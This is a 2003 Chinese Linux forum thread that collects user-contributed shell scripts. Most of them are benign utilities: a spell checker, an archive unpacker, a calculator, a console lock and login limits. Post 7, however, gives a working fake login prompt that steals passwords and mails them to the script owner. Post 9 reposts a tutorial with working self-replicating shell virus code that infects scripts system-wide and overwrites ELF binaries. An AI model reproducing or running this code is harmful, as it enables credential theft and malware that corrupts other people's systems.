LinuxSir.Org  
| 网站首页 | 注册账号 | 论坛帮助 |

欢迎来到LinuxSir.Org!
您还未登录,请登录后查看论坛,或者点击论坛上方的注册链接注册新账号。


发表新主题 回复
置顶的主题 精华主题  
主题工具
旧 03-03-28, 11:59 第 1 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 脚本精华欣赏



声明:
本版所发布之脚本程序,除注明转载出处,其余均出自本论坛!
请尊重作者的智力劳动!如需转帖,请注明来自黄嘴企鹅论坛
http://www.linuxsir.org
如您发布的脚本为转贴,那么也请您注明来源,以示对原创者的尊重!谢谢合作!!!

附:SHELL各种版本下载地址:
KSH:
http://www.rpmfind.net/linux/rpm2htm...hp?query=pdksh
TCSH/CSH:
http://www.rpmfind.net/linux/rpm2htm...&system=&arch=
ZSH:
http://www.rpmfind.net/linux/rpm2htm...&system=&arch=
BASH:
http://www.rpmfind.net/linux/rpm2htm...&system=&arch=

此帖于 03-06-07 19:54 被 KornLee 编辑.
  KornLee 当前离线   回复时引用此帖
旧 03-03-28, 12:48 第 2 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

介绍一个脚本
作者:javalee
代码:
#!/bin/ksh # Script name: Speller # # # Purpose: Check and fix spelling errors in a file # exec < tmp # opens the tmp file while read line # read from the tmp file do print $line print -n "Is this word correct? [Y/N] " read answer < /dev/tty # read from the terminal case $answer in [Yy]*) continue ;; *) print "New word? " read word < /dev/tty sed "s/$line/$word/" tmp > error mv error tmp print $word has been changed. ;; esac done
*此脚本是逐行校正如tmp文件内容正确与否,起编辑的作用

此帖于 03-04-28 23:08 被 KornLee 编辑.
  KornLee 当前离线   回复时引用此帖
旧 03-03-30, 18:34 第 3 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

函数应用实例介绍
代码:
$cat dbfunctions addon () { # 定义函数addon,他的功能是把新的信息加入datafile while true do echo "Adding information " echo "Type the full name of employee " read name echo "Type address for employee " read address echo "Type start date for employee (4/10/88 ) :" read startdate echo $name:$address:$startdate echo -n "Is this correct? " read ans case "$ans" in [Yy]*) echo "Adding info..." echo $name:$address:$startdate>>datafile sort -u datafile -o datafile echo -n "Do you want to go back to the main menu? " read ans if [ $ans = Y -o $ans = y ] then return # return命令把控制送回函数被调用时所在的调用程序 else continue # 把控制返回到while循环顶部 fi ;; *) echo "Do you want to try again? " read answer case "$answer" in [Yy]*) continue;; *) exit;; esac ;; esac done } # 结束函数定义 $cat mainprog #!/bin/sh script name: mainprog # This is the main script that will call the function, addon #datafile=$HOME/bourne/datafile datafile=./datafile . dbfunctions # dot命令把文件dbfunctions装入内存, if [ ! -f $datafile ] then echo "`basename $datafile` does not exist" 1>&2 exit 1 fi echo "Select one: " cat <<EOF [1] Add info [2] Delete info [3] Exit EOF read choice case $choice in 1) addon # 调用函数 ;; 2) delete # 调用函数 ;; 3) update ;; 4) echo Bye exit 0 ;; *) echo Bad choice exit 2 ;; esac echo Returned from function call echo The name is $name # Variable set in the function are known in this shell. 附:文件datafile cat database Ann Stephens 111 Main St, Boston, MA 4/10/88 TB Savage 222 B Ave, New York, NY 5/11/99
兄弟们有什么好的脚本,自创的也好,转帖的也好,都可以放在这里,好让大家欣赏,OK?

此帖于 03-03-30 18:52 被 KornLee 编辑.
  KornLee 当前离线   回复时引用此帖
旧 03-03-31, 01:38 第 4 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 锁定控制台的一个脚本[自创]


在字符控制台里,锁定控制台,可以起到保护系统不被他人乱动的作用,奉献给兄弟们,请指教!
代码:
#!/bin/ksh #scriptname:locktty #writed by :javalee #script start... reset;clear #清除屏幕 info="System will be locked!!! Press Waitting....." print "\n\n\n\n\n\n\n" for i in 9 8 7 6 5 4 3 2 1 0 do print -n " \a$info$i\r" sleep 1 done clear #加上这个倒记时的小东东,;) trapper () { #建立个函数 trap ' ' 2 3 20 #忽略CTRL+C CTRL+\ CTRL+Z信号 } while : #进入死循环 do trapper #调用函数 print "\n\n\n\n\n\n\n\n\t\t\tPlease enter unlock code:" stty -echo #屏蔽输入的字符 read input case $input in 123) print "\t\t Hello $USER,Today is $(date +%T)\n" stty echo break ;; #输入正确,挑出循环回到命令行 *) clear continue ;; #否则,继续循环 esac done #script over

此帖于 03-08-19 16:16 被 KornLee 编辑.
  KornLee 当前离线   回复时引用此帖
旧 03-04-03, 15:31 第 5 帖
LYOO
 
LYOO 的头像
 
 
注册会员  
  注册日期: Jan 2003
  帖子: 782
  精华: 37
 

不错!用Linux就该多写写脚本,天天想着怎么玩X,不如去装Windows算了







__________________
http://211.92.88.40/~lyoo/bookmark/bookmark.html
  LYOO 当前离线   回复时引用此帖
旧 03-04-09, 00:39 第 6 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 解压脚本


特别感谢作者:tram兄
文件名分析的那里还有点意思。
代码:
#!/bin/bash UNPACK=1 if [ ${1##*.} = bz2 ] ; then TEMP=${1%.*} if [ ${TEMP##*.} = tar ] ; then tar jxvf $1 UNPACK=$? echo This is a tar.bz2 package else bunzip2 $1 UNPACK=$? echo This is a bz2 package fi fi if [ ${1##*.} = gz ] ; then TEMP=${1%.*} if [ ${TEMP##*.} = tar ] ; then tar zxvf $1 UNPACK=$? echo This is a tar.gz package else gunzip $1 UNPACK=$? echo This is a gz package fi fi if [ ${1##*.} = tar ] ; then tar xvf $1 UNPACK=$? echo This is a tar package fi if [ $UNPACK = 0 ] ; then echo Success! else echo Maybe it is not a package or the package is damaged? fi

此帖于 03-04-09 00:42 被 KornLee 编辑.
  KornLee 当前离线   回复时引用此帖
旧 03-04-09, 00:44 第 7 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 一个盗取别人passwd的shell脚本


特别感谢作者:ghostwalker兄
代码:
#! /bin/sh clear cat /etc/issue echo -n "login: " read login echo -n "Password: " stty -echo read passwd stty sane mail $USER <<- fin login: $login passwd: $passwd fin echo "Login incorrect" sleep 1 logout
  KornLee 当前离线   回复时引用此帖
旧 03-04-09, 00:47 第 8 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 简单递归实例


作者:javalee
代码:
#! /bin/bash #这是一个用递归函数写的阶乘的例子, function factorial { ret_val=0 factarg=0 if (( $1<=1 )) then res=1 return 0 else (( factarg=$1 - 1 )) factorial $factarg (( ret_val=$1 * $res )) res=$ret_val return 0 fi } factorial $1 echo "Factorial of $1 is:$res" [javalee@Linux javalee]$ sh digui 6 Factorial of 6 is:720
  KornLee 当前离线   回复时引用此帖
旧 03-04-09, 00:54 第 9 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: [ZZ]感染linux脚本程序技术


特别感谢推荐人: ykwj121兄

感染linux脚本程序技术
原创:e4gle(大鹰)
来源:www.whitecell.org

感染linux脚本程序技术
by elf0 <elf0@whitecell.org> from www.whitecell.org 参考:29A病毒杂志第5期 伍昨
----
本文来源于29A病毒杂志,其上对linux shell病毒技术有了一个综合的阐述,我不想
翻译它,我以它的那篇为模板
写了这篇中文的文章,里面的代码我都做了调试.
对于shell编程的程序员来说所谓的shell病毒技术其实根本就是小牛一毛,这点在大
家看完本文后就会有所体会
但,简单归简单,我们还是要去了解它,呵呵.

主要的shell病毒技术
-------------------
当然,本文需要你至少了解linux shell编程的基础知识和一星点的病毒知识.
ok!我们进入正题!
我们来看一个最原始的shell病毒,代码最能说明问题:
代码:
#shellvirus I for file in * do cp $0 $file done
简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户
的操作系统,它的文件是具有
保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现
并制止它的传染.所以我们可以
为该脚本做个判断,这样隐蔽性就大大增强了:
代码:
#shellvirus II for file in * do if test -f $file then if test -x $file then if test -w $file then if grep -s echo $file >.mmm then cp $0 $file fi; fi; fi; fi; fi done rm .mmm -f
ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权
限写,再判断它是否是脚本程序
如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大
的.if grep -s echo $file>/.mmm
这句也可以这样写:if file $file | grep -s 'Bourne shell script' > /dev/nul ;
then,也就是判断file是否为shell
脚本程序.
但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜
伏的危害性,而且以上的脚本只是简
单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错,
看看下面
代码:
#infection head -n 24 $0 > .test <-取自身保存到.test for file in * <-遍历文件系统 do if test -f $file <-判断是否为文件 then if test -x $file <-判断文件是否可执行 then if test -w $file <-判断文件是否可写 then if grep -s echo $file >.mmm <-判断是否为脚本程序 then head -n 1 $file >.mm <-提取要感染的脚本程序的第一行 if grep -s infection .mm >.mmm <-判断该文件是否已经被感染 then rm -f .mm <-已经被感染,则跳过 else <-还未被感染 cat $file > .SAVEE <-很熟悉吧?借用了传统的二进制文件 的感染机制 cat .test > $file cat .SAVEE >> $file fi; fi; fi; fi; fi done rm .test .SAVEE .mmm .mm -f
程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,s
hell脚本一般都是明文的,呵呵.不过
危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着
在程序中可以反应出来.
ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:
代码:
#infection for file in * ; do if test -f $file && test -x $file && test -w $file ; then if grep -s echo $file > /dev/nul ; then head -n 1 $file >.mm if grep -s infection .mm > /dev/nul ; then rm .mm -f ; else cat $file > .SAVEE head -n 13 $0 > $file cat .SAVEE >> $file fi; fi; fi done rm .SAVEE .mm -f
现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至
写到1-2行,但这里我只是说明问题,就
不写出来了.
好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如
根目录或者是/etc,/bin等等,因为大多
数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了
代码:
#infection xtemp=$pwd <-保存当前路径 head -n 22 $0 > /.test for dir in /* ; do <-遍历/目录 if test -d $dir ; then <-如果是目录就cd该目录 cd $dir for file in * ; do <-遍历该目录文件 if test -f $file && test -x $file && test -w $file ; then <-确定文件是 否可执行,可写 if grep -s echo $file > /dev/nul ; then <-确定是否为脚本程序 head -n 1 $file > .mm if grep -s infection .mm > /dev/nul ; then <-确定是否已经被感染 rm .mm -f ; else cat $file > /.SAVEE <-和前面的感染机制一样感染未被感 染的脚本程序 cat /.test > $file cat /.SAVEE >> $file fi; fi; fi done cd .. fi done cd $xtemp <-返回原目录 rm /.test /.SAVEE .mm -f
其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循
环而已.同样shell病毒可以做很多事情
如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来
发送传染等等.总之它的实现技术不高深,
但也比较实用,还是值得去说明一下的,呵呵.
同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧
代码:
for file in * ; do if test -f $file && test -x $file && test -w $file ; then if file $file | grep -s 'ELF' > /dev/nul ; then mv $file .$file head -n 9 $0 > $file fi; fi done $0

此帖于 03-04-09 01:18 被 KornLee 编辑.
  KornLee 当前离线   回复时引用此帖
旧 03-04-09, 00:57 第 10 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 一个自动挂载dos分区的脚本


特别感谢作者:sjqu兄
这就是我的一个练习,请多指教。
代码:
#!/bin/bash #bakup /etc/fstab cp /etc/fstab /etc/fstab.orig # config fdisk -l /dev/hda |grep FAT >>temp fdisk -l /dev/hdb |grep FAT >>temp fdisk -l /dev/hdc |grep FAT >>temp fdisk -l /dev/hdd |grep FAT >>temp #sort awk '$0~/\*/ {print $1" "$NF}' temp >>pt awk '$0!~/\*/ {print $1" "$NF}' temp >>pt i=142 while read disks fstype do if [ $fstype = "FAT32" ]; then disks_FS=vfat else disks_FS=msdos fi i=`expr $i + 1` if [ "${i:2}" != "8" -a "${i:2}" != "9" ]; then echo -e "$disks"\\t"/mnt/"\\$i""\\t"$disks_FS"\\t"iocharset=gb2312,codepage=936,umask=0 0 0" >>/etc/fstab fi done <pt rm -f temp pt
  KornLee 当前离线   回复时引用此帖
旧 03-04-09, 01:00 第 11 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 一个小计算器脚本


作者:javalee
代码:
avalee//home/javalee/lx>cat js #! /bin/ksh #scriptname:js #the script is example about co-process echo "WELCOME TO THE CALCULATOR PROGRAM" bc |& while true do echo "Select one of the opertors" echo "a)=+ s)=- m)=* d)=/ q)=quit" read op case $op in a) op="+" ;; s) op="-" ;; m) op="*" ;; d) op="/" ;; q|Q) op="q" exit ;; *) print "wrong option,input again..." ; sleep 1 continue ;; esac print -p scale=3 echo -n "please enter two numbers:" read n1 n2 print -p "$n1" "$op" "$n2" read -p result print $result print -n "continue (y/n)? " read answer case $answer in [Nn]*) break;; esac done print "Good bey"
  KornLee 当前离线   回复时引用此帖
旧 03-04-09, 01:03 第 12 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 数制转换的脚本


作者;javalee
代码:
#! /bin/ksh print 转换进制: if [[ -z $1 || $1 == [a-zA-Z]* || $# > 1 ]] then cat <<info Usage:cn number[Enter] cn 2#number for binary style cn 16#number for hex style cn number for stand style info exit fi integer -i10 value=$1 print "十进制: \t $value"D"" typeset -i16 value print "十六进制: \t $value"H""|sed 's/16#//' typeset -i2 value v2=$(print $value|sed 's/2#//') integer len=${#v2} ((n=8-$len)) v=$(echo $(perl -e "print 0 x $n")$v2)

此帖于 03-05-13 18:45 被 KornLee 编辑.
  KornLee 当前离线   回复时引用此帖
旧 03-04-09, 01:08 第 13 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 禁止用户登录脚本


作者:javalee
要想让某些用户不能登录系统,可以用简单脚本实现

代码:
#! /bin/ksh #scriptname:killuser #disabel some user login system #start... echo -n "who do you want to kill:" read username while true do kill -9 $(ps -aux|grep $username|awk '{print $2}') sleep 1 done javalee//home>su abc //用户abc登录成功 Password: abc//home> root//home/javalee/lx>sh killuser //运行 who do you want to kill:abc ... javalee//home>su abc //运行脚本后,被KILL Password: abc//home>Killed javalee//home> //登录失败,返回
  KornLee 当前离线   回复时引用此帖
旧 03-04-09, 01:10 第 14 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 禁止用户登录脚本


特别感谢作者:kpjiang兄
可以先建立一个deny.user的文件,内容如下:
user1
user2
user3
然后将下列代码加到 /etc/porfile里
logname=`whoami |grep '{print $1}'`
while read i; do
if [ $i =$logname ]; then
echo "Sorry,$LOGNAME can not login" && exit
fi
do < /path/deny.user
  KornLee 当前离线   回复时引用此帖
旧 03-04-19, 19:54 第 15 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 一个简单的限时登录方法![转铁]


自己写三个shell程序,调用at和系统维护功能:
1. 在指定的时间执行该shell,在/etc下生成一名为nologin的文件,如:
vi /sbin/login.denied
echo " Login Denied " > /etc/nologin
chmod 700 login.denied
2. 在指定的时间执行该shell,删除/etc/下的nologin文件,如:
vi /sbin/login.allowed
if [ -f /etc/nologin ]; then
rm /etc/nologin
fi
chmod 700 login.allowed
3. 编写一个限制时间的shell,如:
vi /sbin/security
if [ -f /sbin/login.denied ]; then
at -f /sbin/login.denid 22:00
fi
if [ -f /sbin/login.allowed ]; then
at -f /sbin/login.allowed 8:00
if

此种设置的功能是:从晚上10:00到第二天早上8:00静止非root拥护登录,显示为
系统维护状态。

注:忘了从哪里CP过来的啦~~~请兄弟们见谅有知道的请告诉我!
  KornLee 当前离线   回复时引用此帖
发表新主题 回复


主题工具

发帖规则
您 [不可以] 发表新主题
您 [不可以] 回复主题
您 [不可以] 上传附件
您 [不可以] 编辑您的帖子

已 [启用] BB 代码
已 [启用] 表情符号
已 [启用] IMG 代码
已 [禁用] HTML 代码
[论坛跳转…]


所有时间均为[北京时间]。现在的时间是 22:39


Powered by vBulletin 版本 3.6.8
版权所有 ©2000 - 2010, Jelsoft Enterprises Ltd.
官方中文技术支持: vBulletin 中文
版权所有 ©2002 - 2009, LinuxSir.Org